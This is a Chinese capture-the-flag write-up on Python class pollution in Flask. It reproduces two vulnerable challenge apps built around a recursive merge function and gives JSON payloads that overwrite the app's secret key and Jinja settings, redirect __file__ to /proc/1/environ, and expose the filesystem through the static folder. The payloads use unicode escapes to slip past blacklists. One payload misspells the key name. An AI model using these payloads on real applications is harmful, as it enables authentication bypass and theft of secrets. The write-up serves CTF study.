文章

Python原型链污染-题目

西瓜杯-easy polluted

源代码:

app.py

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
#生成一个随机的16字节的md5值作为密钥
def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
#黑名单过滤器
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
#纯正的污染函数
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("flag.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>index</title>
</head>
<body>
    HELLO,CTFER!
</body>
</html>

flag.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>index</title>
</head>
<body>
    这又是什么jinja语法啊!
    [#flag#]
</body>
</html>

关注点:

/admin路由下,需要session中的username的键值为adminer,password的键值为app.secret.key

而username和password来自/路由中,POST收到的username和password

1.污染语法标识符 /路由下

{
    "__init__":{
        "__globals__":{
            "app":{
                "jinja_env":{
                    "variable_start_string":"[#",
                    "variable_end_string":"#]"
                }
            }
        }
    }
}

由于存在waf,同时merge使用的是json.load(),可以使用unicode编码进行绕过

使用的是hackbar,全部进行unicodezaixuanze application/json会发送失败,这里选择部分编码

{
    "5f5f696e69745f5f":{
        "5f5f676c6f62616c735f5f":{
            "\u0061\u0070\u0070":{
                "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{
                    "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#",
                    "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"
                }
            }
        }
    }
}

2.污染secrt_key /路由下

{"__init__":{"__globals__":{"app":{"secrte_key":"admin"}}}}

unicode编码

{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0073\u0065\u0063\u0072\u0074\u0065\u005f\u006b\u0065\u0079":"123"}}}}

3./路由下

JSON传输

{"username":"adminer",
 "password":"123"}

4./admin

直接访问/admin即可

[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask


import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"
#data中要含有username和password两个字段

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"
#ssession中的username要等于data中的username

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

方法一:污染读取路径__file__

ctf中大部分flag都隐藏在环境变量中

linux中创建的环境变量有:

/proc/1/environ (本题flag就在这里)

/etc/profile

/etc/profile.d/*.sh

~/.bash_profile

~/.bashrc

/etc/bashrc

注:放在proc目录(3,4)下的环境变量配置文件,只会对当前用户起作用;在/etc下的环境变量所有的用户都起作用;

payload:

由于过滤掉了__init__,也可以使用类中方法check代替类中构造方法__init__ ,也可以对__init__进行部分编码绕过

{
	"username":"aaa",
	"password":"bbb",
	"__class__":{
        "check":{
            "__globals__":{
                "__file__" : "/proc/1/environ"
            }
        }
	}
}

方法二:修改静态目录位置

payload:

{  "usernmae":"1",
   "password":"1",
   "__init__":{
            "__globals__":{
                      "app":{
                         "_static_folder" :"/"                     
                            }
                           }  
              }
}

注意一定要修改content-type为application/json

修改后访问/static/proc/1/environ,但是访问后下载了文件

将后缀修改为.txt即可

License:  CC BY 4.0